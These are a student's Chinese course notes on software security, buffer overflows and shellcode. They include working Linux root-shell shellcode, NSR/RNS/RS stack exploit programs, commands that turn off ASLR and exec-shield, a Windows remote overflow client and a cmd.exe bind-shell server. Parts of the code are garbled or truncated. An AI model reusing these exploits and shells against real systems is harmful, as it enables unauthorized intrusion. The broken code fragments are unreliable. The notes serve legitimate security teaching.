- (:」∠)_
- 学习笔记
- 1、软件安全概述
- 1.1 软件安全漏洞威胁
- 1.2 软件安全困境
- 1.3 软件安全漏洞类型
- 2、缓冲区溢出
- 2.1 缓冲区溢出的基本概念
- 2.2 缓冲区溢出攻击背景知识
- 2.3 缓冲区溢出攻击原理
- 3、Linux平台上的栈溢出与Shellcode
- 3.1 Linux平台栈溢出攻击技术
- 3.2 Linux平台的Shellcode实现技术
- 4、Windows平台上的栈溢出与Shellcode
- 4.1 Windows平台栈溢出攻击技术
- 4.2 Windows平台shellcode实现技术
- 5、栈溢出攻击
- 6、缓冲区溢出攻击的防御技术
- 1、软件安全概述
- 总结
(:」∠)_
- 此作业所属课程:2019-2020-2-1991&1993《网络攻防实践》
- 本次作业要求:第十次作业 软件安全攻防--缓冲区溢出和shellcode
- 课程目标:学习网络攻防实践
- 本次作业在哪个方面帮助我实现目标:第十章 软件安全攻防--缓冲区溢出和shellcode
学习笔记
1、软件安全概述
- 攻击者能够轻易地对系统和网络实施攻击,很大程度是因为安全漏洞在软件中的大规模存在,攻击者可以利用这些漏洞来违背系统和网络的安全属性。
- 大多数成功攻击都是利用和破解已公布但未被修补的软件安全漏洞或不安全的软件配置,而这些安全漏洞不可避免地大量存在于日趋复杂化、更加可扩展和可交互,以及在互联网络中互相连通的各类软件之中。
1.1 软件安全漏洞威胁
- 软件安全漏洞:软件自诞生之日起,就和bug形影不离,而其中可以被攻击者利用并导致危害的安全漏洞。
- 安全漏洞:在系统安全流程、设计、实现或内部控制中所存在的缺陷或弱点,能够被攻击者所利用并导致安全侵害或对系统安全策略的违反。
- 安全漏洞的三个基本元素:
- 系统的脆弱性或缺陷
- 攻击者对缺陷的可访问性
- 攻击者对缺陷的可利用性
- 软件安全漏洞构成了目前安全漏洞最为主要的部分,也是计算机安全应急响应阻止所关注的重点。
- 软件缺陷与安全漏洞除了造成经济损失外,还可能直接危及到人类的生命安全。
1.2 软件安全困境
- 困境三要素:
- 复杂性:软件规模越大越复杂,就意味着软件的bug越多。
- 可扩展性:现代可扩展软件本身的特性使得安全保证更加困难。
- 连通性:高度的连通性使得一个小小的软件缺陷有可能影响非常大的范围。
1.3 软件安全漏洞类型
- 软件安全漏洞类型Top10
- 从技术上分类:
- 内存安全违规类:在软件开发过程中在处理RAM内存访问时所引入的安全缺陷 缓冲区溢出漏洞是一种最基础的内存安全问题。
- 输入验证类:输入验证类安全漏洞是指软件程序在对用户输入进行数据验证存在的错误,没有保证输入数据的正确性、合法性和安全性,从而导致可能被恶意攻击与利用。XSS、SQL注入、远程文件包含、HTTP Header注入等。
- 竞争条件类:竞争条件类缺陷是系统或进程中一类比较特殊的错误,通常在涉及多进程或多线程处理的程序中出现,是指处理进程的输出或结果无法预测,并依赖于其他进程事件发生的次序或时间时,所导致的错误。
- 权限混淆与提升类:权限混淆与提升漏洞是指计算机程序由于自身编程疏忽或被第三方欺骗,从而滥用其权限,或赋予第三方不该给予的权限。跨站请求伪造、FTP反弹攻击、权限提升、“越狱"等。
2、缓冲区溢出
2.1 缓冲区溢出的基本概念
- 基本概念:缓冲区溢出是计算机程序中存在的一类内存安全违规类漏洞,在计算机程序向特定缓冲区内填充数据时,超出了缓冲区本身的容量,导致外溢数据覆盖了相邻内存空间的合法数据,从而改变程序执行流程破坏系统运行完整性。
- 缓冲区溢出漏洞,通常多见于C/C++语言程序中的memcpy()、strcpy()等内存与字符串复制函数的引用位置。缓冲区溢出攻击发生的根本原因,可以认为是现代计算机系统的基础构架——冯诺伊曼体系存在本质的安全缺陷,即采用了“存储程序”的原理,计算机程序的数据和指令都在同一内存中进行存储,而没有严格的分离。
2.2 缓冲区溢出攻击背景知识
- 编译器与调试器的使用
- 汇编语言基础知识,尤其是IA32
- 进程内存管理
- 函数调用过程:
- 1.调用(call):调用者将函数调用参数、函数调用下一条指令的返回地址压栈,并跳转至被调用函数入口地址。
- 2.序言(prologue): 被调用函数开始执行首先会进入序言阶段,将对调用函数的栈基址进行压栈保存,并创建自身函数的栈结构,具体包括将ebp寄存器赋值为当前栈基址,为本地函数局部变量分配栈地址空间,更新esp寄存器为当前栈顶指针等。
- 3.返回(return): 被调用函数执行完功能将指令控制权返回给调用者之前,会进行返回阶段的操作,通常执行leave和ret指令,即恢复调用者的栈顶与栈底指针,并将之前压栈的返回地址装载至指令寄存器eip中,继续执行调用者在函数调用之后的下一条指令。
- 实例代码:
#include
int func(int a, int b){
int retVal = a+ b;
printf("b: 0x%08x\n",&b);
printf("a: 0x%08x\n",&a);
printf("ret addr here: 0x%08x\n",&a-1);
printf("stored ebp here: 0x%08x\n",&a-2);
printf("retVal: 0x%08x\n\n", &retVal);
return retVal;
}
int main(int argc, char* argv[])
{
int result = func(1, 2);
return 0;
}
2.3 缓冲区溢出攻击原理
- 缓冲区溢出漏洞根据缓冲区在进程内存空间中的位置不同,又分为栈溢出、堆溢出和内核溢出这三种具体技术形态。
- 栈溢出是指存储在栈上的一些缓冲区变量由于存在缺乏边界保护问题,能够被溢出并修改栈上的敏感信息(通常是返回地址),从而导致程序流程的改变。
- 堆溢出则是存储在堆上的缓冲区变量缺乏边界保护所遭受溢出攻击的安全问题。
- 内核溢出漏洞存在于一些内核模块或程序中,是由于进程内存空间内核态中存储的缓冲区变量被溢出造成的。其中栈溢出在各类缓冲区溢出漏洞中是最容易理解,也是最早被发现和利用的技术形态。
- 在进行分析之前需要关闭当前平台的一些保护措施:
- 1.取消“栈上数据不可执行”保护:echo 0 > /proc/sys/kerne/exec-shield
- 2.取消“地址空间随机化”保护:echo 0 > /proc/sys/kernel/randomize_va_space
- 3.编译时取消“/GS”保护:加上gcc编译选项 –fno-stack-protecto。
- 以栈溢出为例的实例代码:
#include
void return_input(void){
char array[30];
gets(array);
printf("%s/n",array);
}
int main(void)
{
return_input();
return 0;
}
- 代码分析:以上代码的
return_input()
函数中定义了一个局部变量array
,为30字节长度的字符串缓冲区,函数局部变量将被存储在栈上,并位于main
函数调用时压栈的下一条指令返回地址之下,而在return_input()
函数中执行gets
函数将用户终端输入至array
缓冲区时,没有进行缓冲区边界检查和保护,因此如果用户输入超出30字节的字符串时,输入数据将会溢出array
缓冲区,从而覆盖array
缓冲区上方的EBP
(栈底指针寄存器)和RET
(子程序的返回指令), 一旦覆盖了RET
返回地址之后,在return_input()
函数执行完毕返回main函数时,EIP
寄存器将会装载栈中RET
位置保存的值,此时该位置已经被溢出改写为"AAAA" (即0x41414141), 而该地址可能是进程无法读取的空间,如果错误则会造成程序的段错误("Segmentation fault")。 - 缓冲区溢出安全漏洞的根本问题:在于用户输入可控制的缓冲区操作缺乏对目标缓冲区的边界安全保护,攻击者会精心构造缓冲区溢出攻击,主要包括找到缓冲区溢出要覆盖和修改的敏感位置,将敏感位置修改为合适的值来进行特定目的攻击,需要执行payload攻击代码,通常会为攻击者给出一个远程shell访问,因此也称为Shellcode。
3、Linux平台上的栈溢出与Shellcode
3.1 Linux平台栈溢出攻击技术
- Linux平台栈溢出攻击按照攻击数据的构造方式不同,主要有NSR、RNS和RS三种模式。
- NSR模式:NSR模式主要适用于被溢出的缓冲区变量比较大,足以容纳Shellcode的情况,其攻击数据从低地址到高地址的构造方式是一堆Nop指令(即空操作指令)之后填充Shelleode,再加上一些期望覆盖RET返回地址的跳转地址,从而构成了NSR攻击数据缓冲区,通过将这个攻击缓冲区作为vulnerablel.c漏洞程序输入,复制至其局部变量buf时,将溢出并改写main函数的返回地址,从而使得程序执行流程跳转至Nop指令所填充出来的“着陆区”中,无论跳转至哪个Nop指令上,程序都会继续执行,并最终运行Shellcode,向攻击者给出Shell。
vulnerable1.c
#include
int main(int argc,char **argv){
char buf[500];
strcpy(buf,argv[1]);
printf("buf's 0x%8x\n",&buf);
getchar();
return 0;
}
stackexploit1.c
#include
#include
char shellcode[]=
// setreuid(0,0);
"\x31\xc0" // xor %eax,%eax
"\x31\xdb" // xor %ebx,%ebx
"\x31\xc9" // xor %ecx,%ecx
"\xb0\x46" // mov $0x46,%al
"\xcd\x80" // int $0x80
// execve /bin/sh
"\x31\xc0" // xor %eax,%eax
"\x50" // push %eax
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
"\x8d\x54\x24\x08" // lea 0x8(%esp,1),%edx
"\x50" // push %eax
"\x53" // push %ebx
"\x8d\x0c\x24" // lea (%esp,1),%ecx
"\xb0\x0b" // mov $0xb,%al
"\xcd\x80" // int $0x80
// exit();
"\x31\xc0" // xor %eax,%eax
"\xb0\x01" // mov $0x1,%al
"\xcd\x80"; // int $0x80
unsigned long get_esp(){
__asm__("movl %esp,%eax");
}
int main(int argc,char *argv[]){
char buf[530];
char* p; p=buf;
int i; unsigned long ret;
int offset=0;
/* offset=400 will success */
if(argc>1) offset=atoi(argv[1]);
ret=get_esp()-offset;
memset(buf,0x90,sizeof(buf)); #把整个BUF填满NOPS
memcpy(buf+524,(char*)&ret,4); #把EIP用我们的RET覆盖,让程序跳转到NOPS里面
memcpy(buf+i+100,shellcode,strlen(shellcode)); #从BUF[100]开始填充SHELLCODE,前面和后面都是NOPS 当然可以增大NOPS的数目
printf("ret is at 0x%8x\n esp is at 0x%8x\n",
ret,get_esp());
execl("./vulnerable1","vulnerable1",buf,NULL); #执行漏洞程序
return 0;
}
- RNS模式:一般用于被溢出的变量比较小,不足于容纳Shellcode的情况,攻击数据从低地址到高地址的构造方式是首先填充一些期望覆盖RET返回地址的跳转地址,然后是一堆Nop指令填充出“着陆区”,最后再是Shellcode。在溢出攻击之后,攻击数据将在RET区段即溢出了目标漏洞程序的小缓冲区,并覆盖了栈中的返回地址,然后跳转至Nop指令所构成的“着陆区”,并最终执行Shellcode。
vulnerable2.c
#include
int main(int argc,char **argv){
char buf[10];
strcpy(buf,argv[1]);
printf("buf's 0x%8x\n",&buf);
getchar();
return 0;
}
stackexploit2.c
#这里显示与上面有区别的main函数部分
int main(int argc,char **argv){
char buf[500]; #分配一个500BYTES的大BUF,用于我们的构造把整个BUFFER填满NOPS
unsigned long ret,p;
int i;
p=&buf;
ret=p+70;
memset(buf,0x90,sizeof(buf)); #用前44BYTES填满RET
for(i=0;i<44;i+=4)
*(long *)&buf[i]=ret;
memcpy(buf+400+i,shellcode,strlen(shellcode)); #把SHELLCODE复制到合适的位置
execl("./vulnerable2","vulnerable2",buf,NULL); #执行漏洞程序
return 0;
}
- RS模式:在这种模式下能够精确地定位出Shellcode在目标漏洞程序进程空间中的起始地址,因此也就无须引入Nop空指令构建“着陆区”。这种模式是将Shellcode放置在目标漏洞程序执行时的环境变量中,由于环境变量是位于Linux进程空间的栈底位置,因而不会受到各种变量内存分配与对齐因素的影响,其位置是固定的,可以通过如下公式进行计算:
ret = 0xc0000000 - sizeof(void *) - sizeof(FILENAME) - sizeof(Shellcode)
vulnerable3.c与RNS中的vulnerable2.c相同。
stackexploit3.c
#这里给出不同的main函数部分
int main(int argc,char **argv){
char buf[32];
char *p[]={"./vulnerable2",buf,NULL};
char *env[]={"HOME=/root",shellcode,NULL}; #把SHELLCODE放入将要执行的环境变量中
unsigned long ret;
ret=0xc0000000-strlen(shellcode)-strlen("./vulnerable2")-sizeof(void *);
memset(buf,0x41,sizeof(buf)); #把整个BUF用A填满
memcpy(&buf[28],&ret,4); #计算RET的值,并覆盖EIP
printf("ret is at 0x%8x\n",ret);
execve("./vulnerable2", "/vulnerable2", buf, env); #执行漏洞程序
return 0;
}
3.2 Linux平台的Shellcode实现技术
Shellcode是一段机器指令,对于我们通常接触的IA32架构平台,Shellcode就是符合Intel32位指令规范的一串CPU指令,被用于溢出之后改变系统正常流程,转而执行Shellcode以完成渗透测试者的攻击目的。通常提供一个访问系统的本地或远程命令行访问。
-
Linux本地Shellcode实现机制:
Linux系统本地Shellcode通常提供的功能就是为攻击者启动一个命令行Shell。一般通过execve()函数启动/bin/sh提供命令行。- 本地产生Shellcode的过程:
- 1.先用高级编程语言,通常用C,来编写Shellcode程序;
- 2.编译并反汇编调试这个Shellcode程序:
- 3.从汇编语言代码级别分析程序执行流程;
- 4.整理生成的汇编代码,尽量减小它的体积并使它可注入,并可通过嵌入C语言进行运行测试和调试;
- 5.提取汇编代码所对应的opcode二进制指令,创建Shellcode指令数组。
- 本地产生Shellcode的过程:
-
Linux远程Shellcode实现机制:
远程Shellcode的实现原理与本地Shellcodes完全一致,也是通过一系列的系统调用俩完成指令的功能。步骤也是通过给出高级语言的功能代码,然后通过反汇编吊事编译后的二进制程序,提取、优化和整理所获得的汇编代码,最终产生opcode二进制指令代码。
4、Windows平台上的栈溢出与Shellcode
4.1 Windows平台栈溢出攻击技术
-
技术机理:
- 1.对程序运行过程中废弃栈的处理方式差异:
当一个函数调用完成返回至调用者,执行下一条指令之前,Windows平台会向废弃栈中写入一些随机的数据,而Linux则不进行任何的处理。
2.进程内存空间的布局差异:
Windows操作系统的进程内存空间布局与Linux存在着不同,Linux进程内存空间中栈底指针在0xc0000000之下,即一般栈中变量的位置都在0xbfff地址附近,在这些地址中没有空字节。Windows平台的栈位置处于0x00FFFFFF以下的用户内存空间,一般为0x0012地址附近,而这些内存地址的首字节均为0x00空字节。 - 3.系统功能调用的实现方式差异:
Windows平台上进行操作系统功能调用的实现方法较Linux更加复杂,Linux系统中通过int 80
中断处理来调用系统功能,而Windows系统则是通过操作系统中更为复杂的API及内核处理例程调用链来完成系统功能调用,对应用程序直接可见的是应用层中如kernel32.dll、User32.dll等系统动态链接库中导出的一些系统API接口函数。
- 1.对程序运行过程中废弃栈的处理方式差异:
-
远程栈溢出攻击实例:
这里给出windows下攻击远程栈溢出攻击的例子,具体代码如下:
#include
#include
#progma comment(lib,"ws2_32")
char Buff[1024];
void overflow(char * s, int size)
{
char s1[50];
printf("receive %d bytes",size);
s[size]=0;
strcpy(s1,s);
}
int main()
{
WSADATA wsa;
SOCKET sockFD;
char Buff[1024],*sBO;
WSAStartup(MAKEWORD(2,2),&wsa);
sockFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(3764);
server.sin_addr.s_addr=inet_addr("127.0.0.1");
connect(sockFD,(struct sockaddr *)&server,sizeof(server));
for(int i=0;i<56;Buff[i++]=0x90);
strcpy(Buff+56,(char *)eip);
strcpy(Buff+60,(char *)sploit);
sBO = Buff;
send(sockFD,sBO,56+4+560,0);
closesocket(sockFD);
WSACleanup();
return 1;
}
-
攻击过程:
- 1.首先创建一一个客户端socket,并连接目标漏洞服务程序所监听的IP地址与端口;
- 2.然后精心组装一个用于溢出目标程序缓冲区的攻击数据,攻击数据缓冲区Buff是一个1024字节长度的字符数组,填充了一段Nop指令;
- 3.最后在事先计算好的返回地址位置上放置了一个指向“JMP ESP"指令的地址,该指令地址在不同的目标程序运行系统上是不一样的,由攻击者通过在各个系统环境中调试获得。
-
野外Windows栈溢出
针对真实的漏洞服务实施远程栈溢出攻击的野外代码在互联网上也随处可得,在Exploit-db、Milw0rm、Packetstorm等渗透攻击代码共享网站上,这些程序都是针对一个特定的安全漏洞实施攻击,并需要配置目标操作系统的类型与版本,程序执行的过程关键是组装出包含填充数据、指令跳转地址和Shellcode的攻击数据,然后通过网络协议交互将攻击数据注入至目标程序的漏洞利用点上,实施溢出攻击,控制目标程序流程,转而执行攻击者注入的Shellcode。
4.2 Windows平台shellcode实现技术
-
Windows本地Shellcode:
编写shellcode最简单的方式是使用硬编码的函数地址,比如system()
函数在Windows XP特定版本的目标程序内存空间加载地址为0x77bf93c7
,我们在shellcode中可以使用Call 0x77bf93c7
指令来让EIP
指令寄存器跳转至硬编码的函数入口地址执行,这种方法可以有效压缩编码长度。 -
这里给出C语言版的Windows本地Shellcode程序,即使用
LoadLibrary()
函数加载msvert.dll动态链接库,通过GetProcAddress()
函数获得system
函数的加载入口地址,赋值给ProcAdd
函数指针,然后通过函数指针调用system()
函数,启动命令行Shell,最后还要调用exit()
退出当前进程:
#include
#include
typedef void (*MYPROC)(LPTSTR);
typedef void (*MYPROC2)(int);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
MYPROC2 ProcAdd2;
char dllbuf[11] = "msvcrt.dll";
char sysbuf[7] = "system";
char cmdbuf[16] = "command.com";
char sysbuf2[5] = "exit";
LibHandle = LoadLibrary(dllbuf);
ProcAdd = (MYPROC)GetProcAddress(
LibHandle, sysbuf);
(ProcAdd) (cmdbuf);
ProcAdd2 = (MYPROC2) GetProcAddress(
LibHandle, sysbuf2);
(ProcAdd2)(0);
}
- 然后把上述代码转化为汇编语言,查询相关指令表,可以转化为Opcode硬编码的shellcode:
mov esp,ebp
push ebp
mov ebp,esp
xor edi,edi
push edi
sub esp,08h
mov byte ptr [ebp-0ch],63h
mov byte ptr [ebp-0bh],6fh
mov byte ptr [ebp-0ah],6dh
mov byte ptr [ebp-09h],6Dh
mov byte ptr [ebp-08h],61h
mov byte ptr [ebp-07h],6eh
mov byte ptr [ebp-06h],64h
mov byte ptr [ebp-05h],2Eh
mov byte ptr [ebp-04h],63h
mov byte ptr [ebp-03h],6fh
mov byte ptr [ebp-02h],6dh
lea eax,[ebp-0ch]
push eax
mov eax, 0x77bf8044
call eax
- Windows远程Shellcode:
C语言实现示例代码:
#include
#include
int main()
{
WSADATA wsa;
SOCKET listenFD;
char Buff[1024];
int ret;
WSAStartup(MAKEWORD(2,2),&wsa);
listenFD = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(53764);
server.sin_addr.s_addr=ADDR_ANY;
ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);
SECURITY_ATTRIBUTES sa;
sa.nLength=12;sa.lpSecurityDescriptor=0;sa.bInheritHandle=true;
HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;
ret=CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0);
ret=CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0);
STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);
unsigned long lBytesRead;
while(1) {
ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0);
if(lBytesRead) {
ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
ret=send(clientFD,Buff,lBytesRead,0);
if(ret<=0) break;
}else {
lBytesRead=recv(clientFD,Buff,1024,0);
if(lBytesRead<=0) break;
ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0);
if(!ret) break;
}
}
return 0;
}
- 过程如下:
- 1.创建一个服务器端socket,并在指定的端口上监听;
- 2.通过accept()接受客户端的网络连接;
- 3.创建子进程,运行“cmd.exe”,启动命令行;
- 4.创建两个管道,命令管道将服务器端socket接收(recv)到的客户端通过网络输入的执行命令,连接至cmd.exe的标准输入;然后输出管道将cmd.exe的标准输出连接至服务器端socket的发送(send),通过网络将运行结果反馈给客户端。
5、栈溢出攻击
- 堆溢出( Heap Overflow)是缓冲区溢出中第二种类型的攻击方式
- 函数指针改写
- 堆溢出进行函数指针改写攻击需要被溢出的缓冲区临近全局函数指针存储地址,且在其低地址方向。在符合这种变量布局的条件下,当向缓冲区填充数据时,如果没有边界判断和控制的话,那么缓冲区溢出之后就会自然地覆盖函数指针所在的内存区,从而改写函数指针的指向地址,攻击者只要能够将该函数指针指向恶意构造的Shellcode入口地址,在程序使用函数指针调用原先期望的函数时,就会转而执行Shellcode。
- 假设buffer区缺乏保护安全便捷的缓冲区,在它响铃的高地址方向有一个函数指针funcptr,攻击者通过strncpy()漏洞,将用户输入的字符串缓冲区复制到buffer时,利用堆溢出,将system()函数的地址复制至funcptr,然后程序调用funcptr函数指针时,会调用system()函数。
#define ERROR -1
#define BUFSIZE 16
int goodfunc(const char *str)
{
printf("\nHi, I'm a good function. I was called through funcptr.\n");
printf("I was passed: %s\n", str);
return 0;
}
int main(int argc, char **argv)
{
static char buf[BUFSIZE];
static int (*funcptr)(const char *str);
if (argc <= 2)
{
fprintf(stderr, "Usage: %s \n", argv[0]);
exit(ERROR);
}
printf("system()'s address = %p\n", &system);
funcptr = (int(*)(const char *str))goodfunc;
printf("before overflow: funcptr points to %p\n", funcptr);
memset(buf, 0, sizeof(buf));
strncpy(buf, argv[1], strlen(argv[1]));
printf("after overflow: funcptr points to %p\n", funcptr);
(void)(*funcptr)(argv[2]);
return 0;
}
- C++类对象虚函数表改写
- C++类通过虚函数提供了一种Late binding运行过程绑定的机制,编译器为每个包含虚函数的类建立起虚函数表、 存放虚函数的地址,并在每个类对象的内存区中放入一个指向虚函数表的指针,通常称为虚函数指针vptr对于使用了虚函数机制的C++类,如果它的类成员变量中存在可被溢出的缓冲区,那么就可以进行堆溢出攻击,通过覆盖类对象的虚函数指针,使其指向一个特殊构造的虚丽数表,从而转向执行攻击者恶意注入的指令。
- 这里给出一个C++类对象虚函数指针改写的示例代码,ClassA中拥有一个虚函数printBuffer,因此在该类对象的内存中将维护一个指向虛函数表的vptr, 同时该类中又存在一个可被溢出的缓冲区str, 在程序中通过new实例化出Class A的一个类对象a时,在堆中就会为对象a分配一块内存,并保存其成员变量、虚函数指针等内容,而调用setBuffer()函数时,攻击者就可以通过输入可以控制的攻击数据缓冲区,溢出str缓冲区,将vptr覆盖为攻击者精心构造的虚函数表地址,在构造的虚函数表中,攻击者就可以将虚函数指向Shellcode指令,完成目标程序控制流程的跳转。
#include
class A
{
private:
char str[11];
public:
void setBuffer(char * temp)
{
strcpy(str,temp);
}
virtual void printBuffer()
{
cout<setBuffer(argv[1]);
a->printBuffer();
}
- Linux下堆管理glibe库free()函数漏洞
- Linux操作系统中的堆管理是通过glibc库实现的,glibc 2.2.4及以下版本的堆内存管理算法是使用了Doug Lea的实现方式,称为dlmalloc,而glibe 2.2.5及以上版本则采用了Wolfram Gloger的ptmalloc/ptmalloc2代码,ptmalloc代码是从dlmalloc代码移植过来的,主要目的是增加了对多线程环境的支持,同时进一步优化了内存分配和回收的算法。dImalloc实现的glibc库中的内存块结构如图所示,使用了被称为Bin的双向循环链表来存储内存空闲块信息,并使用了两个宏来完成对Bin链表的插入和删除操作,其中用于删除空闲块的unlink宏定义如下:
- Linux操作系统中的堆管理是通过glibc库实现的,glibc 2.2.4及以下版本的堆内存管理算法是使用了Doug Lea的实现方式,称为dlmalloc,而glibe 2.2.5及以上版本则采用了Wolfram Gloger的ptmalloc/ptmalloc2代码,ptmalloc代码是从dlmalloc代码移植过来的,主要目的是增加了对多线程环境的支持,同时进一步优化了内存分配和回收的算法。dImalloc实现的glibc库中的内存块结构如图所示,使用了被称为Bin的双向循环链表来存储内存空闲块信息,并使用了两个宏来完成对Bin链表的插入和删除操作,其中用于删除空闲块的unlink宏定义如下:
6、缓冲区溢出攻击的防御技术
-
1.尝试杜绝溢出的防御技术:
采取如高级差错程序fault injection,通过Fuzz注入测试来寻找代码的安全漏洞,或者在编译器上引入针对缓冲区的便捷保护检查机制如Jone & Kelly针对gcc的数组边界检查、Compaq C对编译器进行改进杜绝溢出。 -
2.允许溢出但不让程序改变执行流程的防御技术:
允许溢出发生,但对可能影响到程序流程的关键数据结构实施严密的安全保护,不让程序改变其执行流程,从而阻断溢出攻击。通过对编译器gcc加补丁,使得在函数入口处能够自动地在栈中返回地址的前面生成一个Canary检测标记,在函数调用结束检测该标记是否改变来阻止溢出改变返回地址,从而阻止缓冲区溢出攻击。 -
3.无法让攻击代码执行的防御技术:
通过堆栈不可执行限制来防御缓冲区溢出攻击,通过CPU硬件和各种操作系统内核补丁来支持堆栈不可执行。
总结
软件安全漏洞分类研究综述
shellcode的编写
shellcode之一:栈溢出